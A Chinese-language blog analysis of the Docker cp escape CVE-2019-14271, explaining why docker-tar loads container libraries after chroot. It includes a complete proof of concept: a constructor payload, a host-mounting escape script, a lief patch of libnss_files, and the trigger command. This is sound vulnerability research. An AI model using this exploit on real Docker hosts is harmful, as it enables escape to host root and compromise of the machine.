CVE-2019-14271调试分析

CVE-2019-14271

前置知识

linuxshell命令真的有点多。。。我的基础还是太薄弱。。

Linux命令大全

用一串命令跟踪docker-tar进程的/proc/self/root

1
2
3
4
5
6
7
root@ubuntu:~/escape/cve-2019-14271# docker cp test:/lib ./lib & while true; do ps -auxf|grep -v grep|grep docker-tar|tr -s ' '|cut -d ' ' -f 2|xargs -I{} ls -l /proc/{}/root; done
[1] 107554
lrwxrwxrwx 1 root root 0 Feb 23 07:56 /proc/107580/root -> /
lrwxrwxrwx 1 root root 0 Feb 23 07:56 /proc/107580/root -> /var/lib/docker/overlay2/a460bbff65a8a546b31bea1adde649127034aaa0258e4cf99bb7a9f5d9da8c17/merged
lrwxrwxrwx 1 root root 0 Feb 23 07:56 /proc/107580/root -> /var/lib/docker/overlay2/a460bbff65a8a546b31bea1adde649127034aaa0258e4cf99bb7a9f5d9da8c17/merged
lrwxrwxrwx 1 root root 0 Feb 23 07:56 /proc/107580/root -> /var/lib/docker/overlay2/a460bbff65a8a546b31bea1adde649127034aaa0258e4cf99bb7a9f5d9da8c17/merged
[1]+ Done docker cp test:/lib ./lib

了解lief的用法,这个工具之前学过patch的师傅肯定都会用。

mount命令进阶用法:

https://www.cnblogs.com/sparkdev/p/9015312.html

https://www.cnblogs.com/sparkdev/p/9045563.html

https://xionchen.github.io/2016/08/25/linux-bind-mount/

搭建环境

此漏洞影响版本只有19.03.0,使用脚本搭建环境:

1
2
3
curl -fsSL https://get.docker.com -o get-docker.sh && \
sudo VERSION=19.03.0 sh get-docker.sh
sudo systemctl start docker
1
2
3
4
5
6
7
8
9
10
FROM ubuntu:16.04

RUN cp /etc/apt/sources.list /etc/apt/sources.list.bak
RUN echo "deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates main restricted\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial universe\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates universe\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial multiverse\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates multiverse\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security main restricted\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security universe\ndeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security multiverse" > /etc/apt/sources.list
RUN apt update && apt -y dist-upgrade

RUN DEBIAN_FRONTEND=noninteractive apt install -y python3 python3-pip vim
RUN pip3 install --upgrade setuptools "pip < 21.0"
RUN pip3 install lief
CMD ["/bin/bash"]

漏洞分析

CVE-2019-14271是一个宿主机docker cp容器文件到宿主机导致的以宿主机root权限任意命令执行的漏洞,目前已知的影响版本只有docker 19.03.0(包含几个beta版),19.03.1以上以及18.09以下都不收影响。

漏洞起源于docker开源项目issue上docker19.03.0版本docker cp产生的报错,其因为容器中无libnss_files.so.2报错,让安全人员发觉docker-tar加载的是容器中的libnss_files库:

Error response from daemon: error processing tar file: docker-tar: relocation error: /lib/arm-linux-gnueabihf/libnss_files.so.2: symbol __libc_readline_unlocked, version GLIBC_PRIVATE not defined in file libc.so.6 with link time reference : exit status 127

issue链接:https://github.com/moby/moby/issues/39449

docker cp命令可以允许用户将文件在宿主机、容器之间来回复制,这个过程涉及到一个重要进程docker-tardocker-tar的作用是chroot到容器中,将请求复制的文件打包,然后传回给dockerd并由其提取打包后的文件到宿主机上。需要注意的是docker-tar进程是由dockerd起的,验证如下:

image-20210224112301809.png

image-20210224112351763.png

此外还涉及到一个chroot的动作,执行此动作主要是为了docker-tar切入容器内部对复制文件进行打包,如果不chroot,很有可能会造成符号链接攻击https://blog.csdn.net/weixin_34414650/article/details/91427942,导致宿主机cp的容器的符号链接指向自身,这有可能导致容器恶意构造符号链接来读写宿主机文件,所以新版的`docker`选择利用`docker-tar chroot进容器系统进行复制,这样复制时就难以出现符号链接问题了。但是,19.03.0版本由于不严谨的chroot导致docker容器出了一个严重问题,docker-tar进程依赖linux主机上的动态库文件,而动态链接库在不调用其中相关函数的时候是不进行链接的,这边docker-tar未进行链接就先chroot进容器内部,之后寻找路径过程中才会用到相关函数并进行动态链接,而这时docker-tar进程已经切进容器内部了,这边就导致宿主机的进程会使用容器内部的so库,一旦此容器是恶意的(so库被提前更改)或者docker`容器被入侵(攻击者替换so库),很容易导致宿主机被代码执行。

chroot验证:

image-20210224112210704.png

漏洞利用

先进入容器进行恶意构造,在/tmp目录中构造/tmp/exp程序(用于检测docker-tar进程以及中转利用脚本),/tmp/escape脚本(实际的利用脚本),patch.py脚本(对libnss_files-2.23.so进行patch,将/tmp/exp加入其依赖库中),具体内容如下:

/tmp/exp.c

/proc/self/exe来检测的原因是docker-tar虽然chroot到了容器中,但其本身还在宿主机的namespace中,所以在容器中用/proc/self/exe是看不到其路径的,也就是返回会为NULL,而容器中的其他进程都可以成功看到,返回不为NULL

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) back()
{
FILE* fd = fopen("/proc/self/exe","r");
if(fd){
fclose(fd);
return 0;
}
else system("/tmp/escape");
}

/tmp/escape

1
2
3
4
5
6
#!/bin/sh
mkdir /host_fs
mount -t proc none /proc
cd /proc/1/root
mount --bind . /host_fs
echo "hack by xxrw :)" > /proc/1/root/tmp/hacker

/tmp/patch.py

1
2
3
4
5
import lief

a = lief.parse("./libnss_files-2.23.so")
a.add_library("/tmp/exp")
a.write("./libnss_files-2.23.so.patch")

构造好之后,在容器中:

1
2
3
4
5
cd /tmp
cp /lib/x86_64-linux-gnu/libnss_files-2.23.so ./libnss_files-2.23.so
python3 ./patch.py
cp ./libnss_files-2.23.so.patch /lib/x86_64-linux-gnu/libnss_files-2.23.so
chmod +x /lib/x86_64-linux-gnu/libnss_files-2.23.so

然后在宿主机中触发漏洞:

1
docker cp test:/var/log ./logs

最终效果:

image.png

参考

https://driverxdw.github.io/2019/11/28/Docker-cp%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E-CVE-2019-14271-%E5%88%86%E6%9E%90/

https://bestwing.me/CVE-2019-14271-docker-escape.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

打赏还是打残,这是个问题